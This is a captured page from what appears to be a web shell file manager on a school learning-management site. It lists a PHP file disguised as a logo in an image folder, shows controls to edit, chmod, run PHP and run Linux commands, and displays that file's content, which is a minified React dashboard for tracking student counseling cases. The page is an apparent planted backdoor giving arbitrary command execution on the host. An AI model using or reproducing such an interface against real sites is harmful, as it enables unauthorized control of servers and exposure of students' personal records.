๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import{r as x,j as e}from"./react-vendor-Cdu9POhR.js";import{u as R,w as le}from"./xlsx-BBWTpfDg.js";import{c as ne,l as re,a as ie,b as ce,i as A,h as de,u as T}from"./index-g-CJvtxD.js";import{n as oe}from"./studentIdentity-CvcNiiMo.js";import{C as xe,r as pe}from"./workflowPersistence-CJ0D9ch6.js";import{C as me}from"./CoachingMinutesModule-DkuheIFW.js";import{g as ue,a as he}from"./studentMonitoring-DCfdCpPS.js";import{w as G,c as be,a as ge}from"./exportHelpers-Cejv61rR.js";import{o as b,s as F,j,f as H,k as z}from"./firebase-vendor-Cr1os6Vr.js";import"./pdf-vendor-BoEiDn9A.js";import"./router-vendor-EW88JuZe.js";const _=[{value:"wali",label:"Wali Kelas"},{value:"bk",label:"BK"},{value:"kesiswaan",label:"Kesiswaan"}],Be=({teacher:g})=>{var M;const[D,U]=x.useState([]),[y,q]=x.useState([]),[w,J]=x.useState([]),[C,Q]=x.useState([]),[S,V]=x.useState([]),[O,X]=x.useState({}),[K,Y]=x.useState([]),[i,P]=x.useState(""),[f,W]=x.useState(""),[I,E]=x.useState(""),[v,Z]=x.useState("Monitoring Kasus");x.useEffect(()=>{const t=b(ne,d=>{const r=d.docs.map(a=>({id:a.id,...a.data()})).sort((a,o)=>a.name.localeCompare(o.name));U(oe(r)),!i&&r.length&&P(r[0].id)}),l=b(re,d=>q(d.docs.map(r=>({id:r.id,...r.data()})))),s=b(ie,d=>J(d.docs.map(r=>({id:r.id,...r.data()})).sort((r,a)=>a.date.localeCompare(r.date)))),p=b(ce,d=>Q(d.docs.map(r=>({id:r.id,...r.data()})).sort((r,a)=>a.date.localeCompare(r.date)))),n=b(A,d=>{const r=d.docs.map(a=>({id:a.id,...a.data()})).sort((a,o)=>{var h,k;return(((h=o.updatedAt)==null?void 0:h.seconds)||0)-(((k=a.updatedAt)==null?void 0:k.seconds)||0)});V(r),!f&&r.length&&W(r[0].id)}),u=b(de,d=>{const r={};d.docs.forEach(a=>{const o={id:a.id,...a.data()};r[`${o.classId}__${o.studentId}`]=o}),X(r)}),B=b(T,d=>Y(d.docs.map(r=>({id:r.id,...r.data()})).sort((r,a)=>{var o,h;return(((o=a.createdAt)==null?void 0:o.seconds)||0)-(((h=r.createdAt)==null?void 0:h.seconds)||0)})));return()=>{t(),l(),s(),p(),n(),u(),B()}},[i,f]);const m=x.useMemo(()=>S.filter(l=>!i||l.classId===i).map(l=>{const s=y.filter(a=>a.classId===l.classId).reduce((a,o)=>{var k,L;const h=((k=o.waliOverrides)==null?void 0:k[l.studentId])||((L=o.attendance)==null?void 0:L[l.studentId]);return h==="Alfa"&&(a.alfa+=1),h==="Terlambat"&&(a.terlambat+=1),a},{alfa:0,terlambat:0}),p=C.filter(a=>a.classId===l.classId&&a.studentId===l.studentId),n=[...p.filter(a=>a.sourceRole==="guru").map(a=>({id:`workflow-${a.id}`,date:a.date,title:a.title,description:a.description,sourceTeacherName:a.sourceUserName,categoryName:a.categoryName,subcategoryName:a.subcategoryName})),...w.filter(a=>a.classId===l.classId&&a.studentId===l.studentId&&a.sourceType==="guru").map(a=>({id:`legacy-${a.id}`,date:a.date,title:"Laporan Guru Mapel",description:a.note,sourceTeacherName:a.sourceTeacherName,categoryName:"Catatan Guru",subcategoryName:a.reportToBk?"Dilaporkan ke BK":"Dilaporkan ke Wali Kelas"}))].sort((a,o)=>o.date.localeCompare(a.date)),u=p.filter(a=>a.recordType==="negative"),B=u.filter(a=>(a.severity||"ringan")==="ringan").length,d=u.filter(a=>a.severity==="sedang").length,r=u.filter(a=>a.severity==="berat").length;return{...l,alfa:s.alfa,terlambat:s.terlambat,negativeCount:u.length,positiveCount:p.filter(a=>a.recordType==="positive").length,attendanceAction:he(s.alfa,s.terlambat),caseAction:ue(B,d,r),teacherReports:n,profile:O[`${l.classId}__${l.studentId}`]}}),[S,i,y,C,w,O]),c=x.useMemo(()=>m.find(t=>t.id===f)||null,[m,f]),$=x.useMemo(()=>K.filter(t=>t.caseId===f),[K,f]),N=async(t,l)=>{const s=l.currentStage||t.currentStage;await F(H(A,t.id),{...l,currentStage:s,status:l.status||s,currentOwnerRole:l.currentOwnerRole||(s.includes("Kesiswaan")?"kesiswaan":s.includes("BK")?"bk":t.currentOwnerRole),updatedAt:j(),closedAt:s==="Selesai"||s==="Ditutup"?j():t.closedAt||null},{merge:!0}),await z(T,{caseId:t.id,studentId:t.studentId,classId:t.classId,actorRole:"bk",actorId:g.id,actorName:g.name,actionType:"Tindakan BK",note:`BK memperbarui kasus ke tahap ${s}`,fromStage:t.currentStage,toStage:s,createdAt:j()}),await pe(t.classId,t.studentId,t.studentName,t.className)},ee=async()=>{!c||!I.trim()||(await z(T,{caseId:c.id,studentId:c.studentId,classId:c.classId,actorRole:"bk",actorId:g.id,actorName:g.name,actionType:"Catatan intervensi BK",note:I.trim(),fromStage:c.currentStage,toStage:c.currentStage,createdAt:j()}),await F(H(A,c.id),{updatedAt:j()},{merge:!0}),E(""))},te=()=>{const t=R.json_to_sheet(m.map(s=>{var p;return{Kelas:s.className,Siswa:s.studentName,Kategori:s.categoryName,Subkategori:s.subcategoryName,Alfa:s.alfa,Terlambat:s.terlambat,Catatan_Negatif:s.negativeCount,Catatan_Positif:s.positiveCount,Tahap:s.currentStage,Status_Kehadiran:s.attendanceAction,Status_Kasus:s.caseAction,Owner:((p=_.find(n=>n.value===s.currentOwnerRole))==null?void 0:p.label)||s.currentOwnerRole}})),l=R.book_new();R.book_append_sheet(l,t,"Workflow BK"),le(l,`Workflow_BK_${i||"Semua"}.xls`)},ae=()=>{const t=y.filter(l=>!i||l.classId===i);G("Rekap Kehadiran BK",be(t),`Rekap_Kehadiran_BK_${i||"Semua"}.xlsx`)},se=()=>{const t=S.filter(n=>!i||n.classId===i),l=C.filter(n=>!i||n.classId===i),s=w.filter(n=>!i||n.classId===i),p=K.filter(n=>t.some(u=>u.id===n.caseId));G("Rekap Catatan BK",ge(l,t,s,p),`Rekap_Catatan_BK_${i||"Semua"}.xlsx`)};return e.jsxs("div",{className:"max-w-7xl mx-auto space-y-8 px-4 pb-20",children:[e.jsxs("div",{className:"rounded-[2.5rem] bg-gradient-to-r from-slate-900 via-violet-900 to-fuchsia-900 p-7 text-white shadow-xl",children:[e.jsxs("div",{className:"flex flex-wrap items-start justify-between gap-4",children:[e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-[0.35em] text-violet-200",children:"Portal BK"}),e.jsx("h1",{className:"mt-2 text-3xl font-black",children:"Dashboard BK SELARAS"})]}),e.jsxs("div",{className:"rounded-[2rem] border border-white/10 bg-white/10 px-5 py-4 text-sm font-semibold text-violet-50",children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-violet-200",children:"Petugas BK"}),e.jsx("p",{className:"mt-2 text-lg font-black text-white",children:g.name})]})]}),e.jsx("div",{className:"mt-6 flex flex-wrap gap-2",children:["Monitoring Kasus","Timeline & Rekap","Berita Acara"].map(t=>e.jsx("button",{type:"button",onClick:()=>Z(t),className:`rounded-2xl px-4 py-3 text-xs font-black ${v===t?"bg-white text-slate-900":"bg-white/10 text-white hover:bg-white/20"}`,children:t},t))})]}),v==="Berita Acara"&&e.jsx(me,{teacher:g,role:"bk",classes:D,title:"Berita Acara Terintegrasi BK, Wali Kelas, dan Kesiswaan",description:"BK dapat membuat berita acara pembinaan sendiri sekaligus memantau seluruh berita acara wali kelas yang otomatis masuk ke Buku Besar BK. Riwayat dari wali kelas, BK, dan kesiswaan tampil dalam satu ledger terintegrasi.",allowAllLedger:!0}),v==="Monitoring Kasus"&&e.jsxs(e.Fragment,{children:[e.jsxs("div",{className:"bg-white rounded-[2rem] border border-slate-100 shadow-sm p-6 flex flex-col md:flex-row gap-4 md:items-center md:justify-between",children:[e.jsxs("div",{className:"grid grid-cols-2 md:grid-cols-4 gap-4 w-full",children:[e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Kasus Dipantau"}),e.jsx("p",{className:"mt-2 text-2xl font-black text-slate-800",children:m.length})]}),e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Tahap BK"}),e.jsx("p",{className:"mt-2 text-2xl font-black text-violet-600",children:m.filter(t=>t.currentStage.includes("BK")).length})]}),e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Kasus Berat"}),e.jsx("p",{className:"mt-2 text-2xl font-black text-amber-600",children:m.filter(t=>t.severity==="berat").length})]}),e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Risiko Tinggi"}),e.jsx("p",{className:"mt-2 text-2xl font-black text-rose-600",children:m.filter(t=>{var l;return((l=t.profile)==null?void 0:l.riskLevel)==="tinggi"}).length})]})]}),e.jsxs("div",{className:"flex flex-col sm:flex-row gap-3",children:[e.jsx("select",{value:i,onChange:t=>P(t.target.value),className:"px-5 py-4 rounded-2xl bg-slate-50 border border-slate-100 text-sm font-bold text-slate-700 min-w-[220px]",children:D.map(t=>e.jsx("option",{value:t.id,children:t.name},t.id))}),e.jsxs("div",{className:"flex flex-wrap gap-2",children:[e.jsx("button",{type:"button",onClick:ae,className:"px-5 py-4 rounded-2xl bg-emerald-600 text-white text-xs font-black uppercase tracking-widest",children:"Download Kehadiran"}),e.jsx("button",{type:"button",onClick:se,className:"px-5 py-4 rounded-2xl bg-violet-600 text-white text-xs font-black uppercase tracking-widest",children:"Download Catatan"}),e.jsx("button",{type:"button",onClick:te,className:"px-5 py-4 rounded-2xl bg-slate-900 text-white text-xs font-black uppercase tracking-widest",children:"Download Workflow"})]})]})]}),e.jsx("div",{className:"bg-white rounded-[2.5rem] border border-slate-100 shadow-xl overflow-hidden",children:e.jsx("div",{className:"overflow-x-auto",children:e.jsxs("table",{className:"w-full min-w-[1350px] text-left",children:[e.jsx("thead",{className:"bg-slate-50 text-[10px] font-black uppercase tracking-widest text-slate-400 border-b border-slate-100",children:e.jsxs("tr",{children:[e.jsx("th",{className:"px-6 py-4",children:"Siswa"}),e.jsx("th",{className:"px-6 py-4",children:"Kasus"}),e.jsx("th",{className:"px-6 py-4",children:"Alfa / Terlambat"}),e.jsx("th",{className:"px-6 py-4",children:"Positif / Negatif"}),e.jsx("th",{className:"px-6 py-4",children:"Risiko"}),e.jsx("th",{className:"px-6 py-4",children:"Tahap"}),e.jsx("th",{className:"px-6 py-4",children:"Owner"}),e.jsx("th",{className:"px-6 py-4",children:"Status Otomatis"}),e.jsx("th",{className:"px-6 py-4",children:"Laporan Guru Mapel"}),e.jsx("th",{className:"px-6 py-4",children:"Tindakan BK"})]})}),e.jsxs("tbody",{className:"divide-y divide-slate-100",children:[m.map(t=>{var l,s,p;return e.jsxs("tr",{className:"align-top hover:bg-slate-50",children:[e.jsxs("td",{className:"px-6 py-4",children:[e.jsx("p",{className:"text-sm font-black text-slate-800",children:t.studentName}),e.jsx("p",{className:"text-[11px] font-bold text-slate-400 mt-1",children:t.className})]}),e.jsxs("td",{className:"px-6 py-4",children:[e.jsx("p",{className:"text-sm font-black text-slate-700",children:t.categoryName}),e.jsx("p",{className:"text-[11px] font-bold text-slate-400 mt-1",children:t.subcategoryName})]}),e.jsxs("td",{className:"px-6 py-4",children:[e.jsxs("p",{className:"text-sm font-black text-red-600",children:["Alfa ",t.alfa]}),e.jsxs("p",{className:"text-sm font-black text-blue-600 mt-1",children:["Terlambat ",t.terlambat]})]}),e.jsxs("td",{className:"px-6 py-4",children:[e.jsxs("p",{className:"text-sm font-black text-rose-600",children:["-",t.negativeCount]}),e.jsxs("p",{className:"text-sm font-black text-emerald-600 mt-1",children:["+",t.positiveCount]})]}),e.jsx("td",{className:"px-6 py-4",children:e.jsx("span",{className:`px-3 py-1 rounded-full text-[10px] font-black uppercase tracking-widest ${(((l=t.profile)==null?void 0:l.riskLevel)||"rendah")==="tinggi"?"bg-rose-50 text-rose-600":(((s=t.profile)==null?void 0:s.riskLevel)||"rendah")==="sedang"?"bg-amber-50 text-amber-600":"bg-emerald-50 text-emerald-600"}`,children:((p=t.profile)==null?void 0:p.riskLevel)||"rendah"})}),e.jsx("td",{className:"px-6 py-4",children:e.jsx("select",{value:t.currentStage,onChange:n=>N(t,{currentStage:n.target.value,status:n.target.value}),className:"px-3 py-2 rounded-xl bg-slate-50 border border-slate-200 text-xs font-black text-slate-700",children:xe.map(n=>e.jsx("option",{value:n,children:n.replace("Wali","Wali Kelas")},n))})}),e.jsx("td",{className:"px-6 py-4",children:e.jsx("select",{value:t.currentOwnerRole,onChange:n=>N(t,{currentOwnerRole:n.target.value}),className:"px-3 py-2 rounded-xl bg-slate-50 border border-slate-200 text-xs font-black text-slate-700",children:_.map(n=>e.jsx("option",{value:n.value,children:n.label},n.value))})}),e.jsx("td",{className:"px-6 py-4",children:e.jsxs("div",{className:"min-w-[220px] space-y-2",children:[e.jsx("div",{className:"rounded-2xl border border-amber-100 bg-amber-50 px-3 py-3 text-[11px] font-bold text-amber-900",children:t.attendanceAction}),e.jsx("div",{className:"rounded-2xl border border-rose-100 bg-rose-50 px-3 py-3 text-[11px] font-bold text-rose-900",children:t.caseAction})]})}),e.jsx("td",{className:"px-6 py-4",children:e.jsxs("div",{className:"space-y-2 max-w-[360px] max-h-[320px] overflow-auto pr-1",children:[t.teacherReports.map(n=>e.jsxs("div",{className:"rounded-2xl border border-blue-100 bg-blue-50 p-3",children:[e.jsx("p",{className:"text-[11px] font-black text-slate-800",children:n.title}),e.jsxs("p",{className:"mt-1 text-[10px] font-bold text-slate-400",children:[n.date," โข ",n.sourceTeacherName]}),e.jsx("p",{className:"mt-2 text-xs font-medium text-slate-700 whitespace-pre-wrap",children:n.description})]},n.id)),!t.teacherReports.length&&e.jsx("span",{className:"text-[11px] font-bold text-slate-400",children:"Belum ada isi laporan guru mapel."})]})}),e.jsx("td",{className:"px-6 py-4",children:e.jsxs("div",{className:"flex flex-col gap-2 min-w-[180px]",children:[e.jsx("button",{type:"button",onClick:()=>W(t.id),className:"px-3 py-2 rounded-xl bg-violet-600 text-white text-[10px] font-black uppercase tracking-widest",children:"Buka Timeline"}),e.jsx("button",{type:"button",onClick:()=>N(t,{currentStage:"Dalam Penanganan BK",status:"Dalam Penanganan BK",currentOwnerRole:"bk"}),className:"px-3 py-2 rounded-xl bg-violet-700 text-white text-[10px] font-black uppercase tracking-widest",children:"Penanganan BK"}),e.jsx("button",{type:"button",onClick:()=>N(t,{currentStage:"Dieskalasi ke Kesiswaan",status:"Dieskalasi ke Kesiswaan",currentOwnerRole:"kesiswaan"}),className:"px-3 py-2 rounded-xl bg-rose-600 text-white text-[10px] font-black uppercase tracking-widest",children:"Eskalasi Kesiswaan"}),e.jsx("button",{type:"button",onClick:()=>N(t,{currentStage:"Dalam Pembinaan Wali",status:"Dalam Pembinaan Wali",currentOwnerRole:"wali"}),className:"px-3 py-2 rounded-xl bg-blue-600 text-white text-[10px] font-black uppercase tracking-widest",children:"Kembali Wali Kelas"}),e.jsx("button",{type:"button",onClick:()=>N(t,{currentStage:"Selesai",status:"Selesai"}),className:"px-3 py-2 rounded-xl bg-emerald-600 text-white text-[10px] font-black uppercase tracking-widest",children:"Selesai"})]})})]},t.id)}),!m.length&&e.jsx("tr",{children:e.jsx("td",{colSpan:9,className:"px-6 py-10 text-center text-sm font-bold text-slate-400 italic",children:"Belum ada data kasus untuk diverifikasi."})})]})]})})})]}),v==="Timeline & Rekap"&&e.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-6",children:[e.jsxs("div",{className:"bg-white rounded-[2.5rem] border border-slate-100 shadow-xl p-6",children:[e.jsxs("div",{className:"flex items-center justify-between gap-4",children:[e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Timeline Kasus"}),e.jsx("h2",{className:"mt-2 text-2xl font-black text-slate-800",children:c?`${c.studentName} โข ${c.subcategoryName}`:"Pilih Buka Timeline dari tabel"})]}),c&&e.jsxs("span",{className:"px-4 py-2 rounded-2xl bg-violet-50 text-xs font-black text-violet-600",children:["Owner ",((M=_.find(t=>t.value===c.currentOwnerRole))==null?void 0:M.label)||c.currentOwnerRole]})]}),c?e.jsxs("div",{className:"mt-5 space-y-3 max-h-[460px] overflow-auto pr-1",children:[$.map(t=>{var l,s;return e.jsxs("div",{className:"rounded-2xl border border-slate-100 bg-slate-50 p-4",children:[e.jsx("p",{className:"text-[11px] font-black uppercase tracking-widest text-violet-500",children:t.actionType}),e.jsx("p",{className:"mt-2 text-sm font-black text-slate-800",children:t.actorName}),e.jsxs("p",{className:"mt-1 text-[11px] font-bold text-slate-400",children:[(l=t.fromStage)==null?void 0:l.replace("Wali","Wali Kelas")," โ ",(s=t.toStage)==null?void 0:s.replace("Wali","Wali Kelas")]}),e.jsx("p",{className:"mt-3 text-sm font-medium text-slate-700 whitespace-pre-wrap",children:t.note})]},t.id)}),!$.length&&e.jsx("p",{className:"text-sm italic font-bold text-slate-400",children:"Belum ada timeline intervensi."})]}):e.jsx("p",{className:"mt-4 text-sm font-medium text-slate-500",children:"Pilih kasus di tabel untuk melihat timeline."})]}),e.jsxs("div",{className:"bg-white rounded-[2.5rem] border border-slate-100 shadow-xl p-6",children:[e.jsxs("div",{children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-slate-400",children:"Catatan Intervensi BK"}),e.jsx("h2",{className:"mt-2 text-2xl font-black text-slate-800",children:"Tambahkan tindak lanjut BK"})]}),e.jsx("textarea",{value:I,onChange:t=>E(t.target.value),className:"mt-5 w-full min-h-[220px] px-5 py-4 rounded-[1.75rem] bg-slate-50 border border-slate-100 text-sm font-medium text-slate-700",placeholder:"Tuliskan konseling, hasil mediasi, pemanggilan siswa, atau rencana eskalasi berikutnya..."}),e.jsx("div",{className:"mt-4 flex justify-end",children:e.jsx("button",{type:"button",onClick:ee,className:"px-5 py-3 rounded-2xl bg-violet-600 text-white text-xs font-black uppercase tracking-widest",children:"Simpan Catatan BK"})}),c&&e.jsxs("div",{className:"mt-5 rounded-2xl border border-blue-100 bg-blue-50 p-4",children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-widest text-blue-500",children:"Laporan Guru Mapel Terpilih"}),e.jsxs("div",{className:"mt-3 space-y-3 max-h-[240px] overflow-auto pr-1",children:[c.teacherReports.map(t=>e.jsxs("div",{className:"rounded-2xl border border-blue-100 bg-white p-3",children:[e.jsx("p",{className:"text-[11px] font-black text-slate-800",children:t.title}),e.jsxs("p",{className:"mt-1 text-[10px] font-bold text-slate-400",children:[t.date," โข ",t.sourceTeacherName]}),e.jsx("p",{className:"mt-2 text-xs font-medium text-slate-700 whitespace-pre-wrap",children:t.description})]},`${t.id}-selected`)),!c.teacherReports.length&&e.jsx("p",{className:"text-sm italic font-bold text-slate-400",children:"Belum ada detail laporan guru mapel."})]})]})]})]})]})};export{Be as default};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD